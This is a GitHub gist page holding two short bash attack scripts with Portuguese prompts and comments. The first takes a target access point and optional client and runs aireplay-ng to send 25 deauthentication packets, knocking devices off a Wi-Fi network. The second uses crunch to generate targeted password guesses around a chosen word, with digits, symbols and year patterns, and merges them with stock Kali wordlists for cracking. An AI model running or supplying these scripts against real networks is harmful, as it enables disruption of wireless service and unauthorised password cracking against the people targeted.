Skip to content

Instantly share code, notes, and snippets.

@henriquecrw
Last active September 27, 2017 03:19
Show Gist options
  • Save henriquecrw/628fa070433de82f3c68c22c9dda8665 to your computer and use it in GitHub Desktop.
Save henriquecrw/628fa070433de82f3c68c22c9dda8665 to your computer and use it in GitHub Desktop.
Some Codes
#! /bin/bash
IFS= read -r -p "ESSID/BSSID alvo: " var1
read -p "Dispositivo a ser DC: " var2
if [ -z $var2 ]; then
aireplay-ng -0 25 -a $var1 wlan0mon
else
aireplay-ng -0 25 -a $var1 -c $var2 wlan0mon
fi
#!/bin/bash -
#title :wordlist_creator.sh
#description :Feito para ajudar na criação de lista personalizadas direcionadas à alvos precisos.
#author :Henrique Silva
#date :2017-09-27
#version :v3
#usage :./wordlist_creator.sh
#notes :
#bash_version :4.4.12(1)-release
#============================================================================
read -p "Digite a letra: " input
lnum=${#input} # transforma em números e conta, qtd car//
function mkword_list {
printf "***************************** Adiciona um novo caracter na letra ****************************\n\n*"
var1=$((lnum + 1))
crunch $var1 $var1 -t $input% -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt
crunch $var1 $var1 -t %$input -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt
crunch $var1 $var1 -t $input^ -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt
crunch $var1 $var1 -t ^$input -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt
printf "***************************** Adiciona 2 novos caracters na letra ****************************\n\n*"
var3=$((lnum + 2))
crunch $var3 $var3 -t $input%% -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt
crunch $var3 $var3 -t %%$input -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt
crunch $var3 $var3 -t $input^% -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt
crunch $var3 $var3 -t %^$input -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt
crunch $var3 $var3 -t $input^^ -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt
crunch $var3 $var3 -t ^^$input -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt
printf "***************************** Adiciona 3 novos caracters na letra ****************************\n\n*"
var4=$((lnum + 3))
crunch $var4 $var4 -t $input%%^ -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt
crunch $var4 $var4 -t $input%^% -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt
crunch $var4 $var4 -t $input^%% -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt
crunch $var4 $var4 -t $input^^% -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt
crunch $var4 $var4 -t $input^%^ -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt
crunch $var4 $var4 -t $input%^^ -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt
crunch $var4 $var4 -t $input%%% -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt
crunch $var4 $var4 -t $input^^^ -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt
crunch $var4 $var4 -t %%^$input -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt
crunch $var4 $var4 -t %^%$input -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt
crunch $var4 $var4 -t ^%%$input -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt
crunch $var4 $var4 -t ^^%$input -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt
crunch $var4 $var4 -t ^%^$input -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt
crunch $var4 $var4 -t %^^$input -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt
crunch $var4 $var4 -t %%%$input -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt
crunch $var4 $var4 -t ^^^$input -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt
printf "***************************** data de aniversário em YYYY ****************************\n\n*"
var5=$((lnum + 4))
crunch $var5 $var5 -t %%%%$input -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt
crunch $var5 $var5 -t $input%%%% -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt
var6=$((lnum + 5))
crunch $var6 $var6 -t %%%%^$input -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt
crunch $var6 $var6 -t $input^%%%% -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt
}
mkword_list # minusculo
input=${input^}
mkword_list # maiusculo
printf "***************************** Aguarde um pouco =D / organizando e juntando os arquvos ****************************\n\n*"
if [ -d $input ]; then
printf "***************************** Diretório já existe! ****************************\n\n*"
else
mkdir -p -v $input/
fi
cat W0rdlist* /usr/share/wordlists/fern-wifi/common.txt /usr/share/wordlists/fasttrack.txt > $input/$input-wordlist-$(date +'%d-%m-%Y-%H-sec%S').txt
sleep 10
rm W0rdlist*
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment